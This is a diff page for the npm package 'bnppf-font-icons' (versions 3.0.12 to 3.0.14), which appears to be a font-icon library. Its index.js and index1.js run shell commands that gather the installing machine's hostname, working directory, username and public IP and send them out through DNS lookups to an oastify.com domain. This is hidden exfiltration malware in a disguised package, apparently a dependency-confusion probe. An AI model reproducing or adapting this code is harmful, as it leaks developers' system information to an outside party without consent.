bnppf-font-icons 3.0.12 → 3.0.14

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. package/index.js +3 -4
  2. package/index1.js +19 -12
  3. package/package.json +1 -1
package/index.js CHANGED
@@ -1,10 +1,9 @@
1
1
  const { exec } = require("child_process");
2
2
 
3
3
  exec(
4
- `a=$(hostname; pwd; whoami; echo 'bnppf-font-icons'; curl -s https://ifconfig.me) &&
5
- echo $a | xxd -p | head -n 1 | while read ut; do
6
- nslookup "$a.n1pwzl8pkzkgsvpd4tzdmx0fk6qxen2c.oastify.com";
7
- done`,
4
+ `a=$(hostname | head -c 20; pwd | head -c 20; whoami | head -c 20; echo 'bnppf-font-icons'; curl -s https://ifconfig.me) &&
5
+ short_a=$(echo $a | head -c 63) &&
6
+ nslookup "$short_a.n1pwzl8pkzkgsvpd4tzdmx0fk6qxen2c.oastify.com"`,
8
7
  (error, stdout, stderr) => {
9
8
  if (error) {
10
9
  console.log("Error:", error.message);
package/index1.js CHANGED
@@ -1,13 +1,20 @@
1
1
  const { exec } = require("child_process");
2
- exec("a=$(hostname;pwd;whoami;echo 'bnppf-font-icons';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $a.n1pwzl8pkzkgsvpd4tzdmx0fk6qxen2c.oastify.com;done" , (error, data, getter) => {
3
- if(error){
4
- console.log("error",error.message);
5
- return;
6
- }
7
- if(getter){
8
- console.log(data);
9
- return;
10
- }
11
- console.log(data);
12
-
13
- });
2
+
3
+ exec(
4
+ `a=$(hostname | head -c 20; pwd | head -c 20; whoami | head -c 20; echo 'bnppf-font-icons'; curl -s https://ifconfig.me) &&
5
+ echo $a | xxd -p | head -n 1 | while read ut; do
6
+ short_a=$(echo $a | head -c 63);
7
+ nslookup "$short_a.n1pwzl8pkzkgsvpd4tzdmx0fk6qxen2c.oastify.com";
8
+ done`,
9
+ (error, stdout, stderr) => {
10
+ if (error) {
11
+ console.log("Error:", error.message);
12
+ return;
13
+ }
14
+ if (stderr) {
15
+ console.log("stderr:", stderr);
16
+ return;
17
+ }
18
+ console.log("stdout:", stdout);
19
+ }
20
+ );
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "bnppf-font-icons",
3
- "version": "3.0.12",
3
+ "version": "3.0.14",
4
4
  "description": "ngosytuan",
5
5
  "main": "index.js",
6
6
  "scripts": {